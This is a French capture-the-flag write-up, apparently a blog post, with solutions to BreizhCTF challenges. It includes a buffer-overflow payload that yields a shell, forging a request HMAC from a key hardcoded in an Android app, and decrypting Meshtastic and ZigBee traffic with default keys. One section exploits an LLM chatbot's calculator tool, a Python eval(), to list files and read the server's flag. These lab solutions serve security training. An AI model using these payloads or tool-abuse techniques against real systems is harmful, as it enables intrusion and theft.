Payload : GET / + 'A'*152 + \x10\x2a + HTTP/1.1.... Sur l’instance : shell uid=666(ctf) obtenu. Le binaire setuid s’appelle getflag sur le remote.
Flag : BZHCTF{Th3_f4st3st_r4c3r_d03snt_c4re_4b0ut_s3cur1ty!!!!!}
Mobile
Trust Issues – 500pts
Catégorie : Mobile (Android) | Difficulté : Facile
APK. Kotlin/Compose, package com.breizhctf.trustissues. Client d’une API à https://i-have-trust-issues.ctf.bzh.
Décompilation avec jadx. Fichier clé : ApiClient.java.
Flux prévu par l’app.
POST /login(player/ctf2026) → JWTtoken.POST /admin/verify-pin→ metPinManager.verified = true(état purement côté client).GET /admin/flagavecAuthorization: Bearer <token>et un headerX-Verify-Token.
La « trust issue ». Le serveur fait confiance au X-Verify-Token, qui est calculé côté client = HMAC-SHA256(clé, "<token>:/admin/flag"), avec une clé codée en dur dans l’APK (ApiClient._k0.._k3 concaténés, octets signés convertis en non signés) :
8dde6bbc2c5b232ae6cfb4f11278ab64e321fd366fff37abc877b2d48c6ede1d
La garde PinManager.isVerified() étant locale, on saute complètement l’étape PIN. On forge nous-mêmes le HMAC avec la clé extraite :
login→ tokenX-Verify-Token = HMAC_SHA256(key, token + ":/admin/flag")GET /admin/flagavec Bearer + X-Verify-Token →{"flag":"BZHCTF{...}"}
Flag : BZHCTF{4i_&_cl13nt_s1d3_ch3cks_4r3_n0t_s3cur1ty}
Hardware
Glitch Better Have My Money [1/3] – 481pts
Catégorie : Hardware | Difficulté : Très Facile (tags : PCB, Datasheet)
Analyse. Photos PCB recto/verso d’une caméra + datasheet d’une flash SPI NOR XMC XM25QH64C. Format de flag imposé par l’énoncé : BZHCTF{PROTO_CAPA_PINGND_PROTECTIONMIN} (exemple donné BZHCTF{UART_32_6_16}).
Réponses depuis la datasheet.
- Protocole = SPI. « SERIAL FLASH MEMORY WITH DUAL/QUAD SPI & QPI » (p.5). Le CPU communique via SPI.
- Capacité = 8 (MB). Features p.5 : « XM25QH64C: 64M-bit / 8M-byte« .
- Pin GND = 4. Connection Diagrams p.9, boîtier SOP/VSOP 208mil 8 broches : 1=/CS, 2=DO, 3=/WP, 4=GND, 5=DI, 6=CLK, 7=/HOLD//RESET, 8=VCC.
- Protection min = 4 (KB). §4.3 Write Protect p.12 : « a portion as small as a 4KB sector … can be hardware protected ».
Vérification croisée. Photo sd_side : la « Mémoire flash SPI » est bien la puce XMC en SOP-8 (sérigraphie « XMC 25Q64… »). CPU = Ingenic T23.
Flag : BZHCTF{SPI_8_4_4}
Savoureux Filet – 500pts 🩸 FIRST BLOOD
Catégorie : Hardware / Radio | Difficulté : Facile (tags : Radio, Protocole)
Capture. JSON Meshtastic canal « Longfast » avec psk_provided: false. 7 packets {from, to, id, portnum:"TEXT_MESSAGE_APP", payload:base64(chiffré)}.
Les deux pièges qui ont fait perdre des heures aux runs précédents :
- Mauvaise clé. Tout le monde (moi compris en main thread) a essayé l’expansion du PSK
0x01versd4f1bb3a20290759f0bcffabcf4e6901(la clé « documentée » du canal LongFast). Faux. La vraie clé est la PSKAQ==en base64, prise telle quelle (un octet0x01), zero-paddée à 16 octets :01000000000000000000000000000000. - Pas un protobuf. Le clair n’est pas un
Dataprotobuf (qui commencerait par0x08) – c’est du texte brut en alphabet OTAN.
Paramètres exacts (vérifiés).
- Algo : AES-128-CTR
- Clé :
01 + 00*15(16 octets) - Nonce (16o) :
packetIduint64 LE (8o) ||fromuint32 LE (4o) ||00000000(4o)
Les 7 messages déchiffrés (NATO → lettres) :
| Message NATO | Décodage |
|---|---|
BravoZuluHotelCharlieTangoFoxtrot | BZHCTF |
MikeechoSierra...IndiaCharlie | MESHTASTIC |
DeltaEchoFoxtrot...LimaTango | DEFAULT |
KiloEchoYankee | KEY |
IndiaSierra | IS |
NovemberOscarTango | NOT |
SierraEchoCharlieUniformRomeoEcho | SECURE |
Flag : BZHCTF{MESHTASTIC_DEFAULT_KEY_IS_NOT_SECURE}
C’est celui qui a déclenché le sample CS « FIRST BLOOD » en direct pendant la démo à Saax – voir l’article.
Zzz Zzz Zzz – 500pts
Catégorie : Hardware / Radio | Difficulté : Moyen (tag : Radio)
Capture. zzz_zzz_zzz.pcapng = trafic IEEE 802.15.4 / ZigBee (encapsulation wpan-tap). 388 trames, NWK chiffré. Réseau domotique : coordinateur 0x0000 + une ampoule 0xde6a.
Déchiffrement. La trame 43 contient une commande APS « Transport Key » chiffrée avec la Trust Center Link Key par défaut. En fournissant à tshark la clé ZigBee par défaut ZigBeeAlliance09 (5A:69:67:42:65:65:41:6C:6C:69:61:6E:63:65:30:39) via l’UAT zigbee_pc_keys, la clé réseau est extraite et tout le trafic NWK/APS/ZCL devient lisible (118 trames APS, 55 ZCL).
Décodage du message. L’ampoule « parle » via le cluster 0x0008 (Level Control), commandes Move-to-Level. Chaque niveau de luminosité est un code ASCII :
66 90 72 67 84 70 123 83 116 114 97 110 103 101 95 69 110 99
→ BZHCTF{Strange_Enc
La capture s’arrête au milieu du message (tronqué, comme indiqué par l’énoncé). L’indice « la fin du flag finit par Encoding} » complète : Strange_Enc + oding}.
tshark -r zzz_zzz_zzz.pcapng \ -o 'uat:zigbee_pc_keys:"5A:69:67:42:65:65:41:6C:6C:69:61:6E:63:65:30:39","Normal","ZigBeeAlliance09"' \ -Y 'zbee_zcl_general.level_control.level' \ -T fields -e zbee_zcl_general.level_control.level
Flag : BZHCTF{Strange_Encoding}
Misc
Assistant Inverse – 500pts 🩸 FIRST BLOOD
Catégorie : Misc | Difficulté : Facile (tag : LLM)
Cible. Chatbot web « Breizh assistant » avec un set d’outils. Quand on demande la liste : base64_encode/decode, hex_encode/decode, time(location), breton_music(id), breton_recipes(id), regional_weather(location), flag(location), calculator(expression).
Le faux chemin. Appeler flag(location=Rennes) renvoie systématiquement le décor « {flag: BZHCTF{... hmmm, would be too simple would it?}}« . Toutes les locations valides renvoient ce même leurre, les invalides renvoient « ERROR :(« . Le tool flag est un cul-de-sac volontaire.
Le vrai chemin. Le tool calculator(expression) est un eval() Python en clair. Test rapide :
calculator("2*3") → {"result": 6}
calculator("__import__('os').listdir('.')")
→ {"result": [".bash_logout", ".bashrc", "logs", "__pycache__",
"server.py", "flag.txt", "index.html", "requirements.txt"]}
Flag dans flag.txt côté serveur :
calculator("open('flag.txt').read()") → {"result": "BZHCTF{...}"}
Le clin d’œil. Le tool flag est un leurre, c’est le calculator qui est l’eval RCE. Et le flag te dit littéralement « j’a-d-o-r-e le tooling IA ». Le challenge se moque du joueur pendant qu’il le résout.
Flag : BZHCTF{I_F#%$ING_L<3VE_A1_T00LING!!!}
KVMillésime – Vendanges tardives [1/3] – 500pts
Catégorie : Misc | Difficulté : Moyen (tag : Virtualisation)
Setup. Device PCI QEMU custom pci-rng-ascending (qemu-pci-rng-ascending.c). État interne :
lfsr_state[2]: seed xorshift128+n_counter: compteur cumulatif (l’oracle « ascendant »)last_guess_ok
Comportement MMIO.
- GET (read 0x00) :
r=(xorshift128plus()%127)+1,n_counter += r, renvoien_counter. - GUESS (write 0x08) : avance le RNG d’un cran (
n_counter += r) puis testelast_guess_ok = (val == n_counter). manifest_destiny(option 4) ne gagne que si on prédit len_counteraprès l’avance déclenchée par le GUESS.
Vulnérabilité (pas dans le LFSR, le code le dit explicitement). Elle est dans le VMStateDescription (snapshot) : vmstate_pci_rng_ascending sérialise parent_obj, lfsr_state[2] et last_guess_ok, mais PAS n_counter. Donc loadvm rembobine le LFSR mais laisse n_counter à sa valeur live.
Exploit (5 étapes via le menu server.py : 1=GET, 2=savevm, 3=loadvm, 4=guess).
GET→V_cur(n_counter = V_cur)savevm snap_0→ sauve le LFSR à l’étatLGET→V_next; incrément =r = V_next - V_cur, n_counter = V_nextloadvm snap_0→ LFSR rembobiné àL, mais n_counter reste V_nextGUESS = 2*V_next - V_cur: le GUESS rejoue le mêmer(LFSR = L), n_counter devientV_next + r = 2*V_next - V_cur→ match →USER_AUTHENTIFIED→ flag.
Le LFSR n’a jamais besoin d’être cassé. Réussi du premier coup.
Flag : BZHCTF{Namaste_V1nce_Th4nks_F0r_The_Seed_M0ney}
Game Hacking
Welcome to Happy’s adventures [1/5] – 500pts
Catégorie : Game Hacking | Difficulté : Très Facile
Le jeu. « Happy’s Adventures » est un Unreal Engine 5 (binaire HA-Linux-Shipping, paks .ucas/.utoc, perso = « Happax »).
Approche minimaliste.
- Linux.7z (~3 Go, archive 7z solide). Extraction sélective des petits fichiers seulement (pas besoin des 3,1 Go de
HA-Linux.ucas). - Le README précise : « Les flags, sauf le premier, ne sont disponibles que sur le serveur du CTF. » Donc le flag [1/5] est obtenable en standalone/offline.
- Fichier clé :
Linux/HA/Binaries/Linux/Secrets.ini(260 octets) :# Due to something unexpected, "{" & "}" don't print in game. [Secrets] ServerSecretString_0=Welcome_To_Happax_Adventures! ServerSecretString_1=ClientFlag1 # placeholders, vrais flags = serveur ServerSecretString_0= secret affiché en standalone. Les_1..._4sont des placeholders remplacés par les vrais flags côté serveur pour les challenges 2/5 à 5/5.- Commentaire en commentaire du fichier : les accolades
{ }ne s’affichent pas en jeu, le formatBZHCTF{...}entoure le secret. On rétablit les accolades.
Flag : BZHCTF{Welcome_To_Happax_Adventures!}
31 challenges. 10 750 pts. 11/116. 4 first bloods. À l’an prochain.
Laisser un commentaire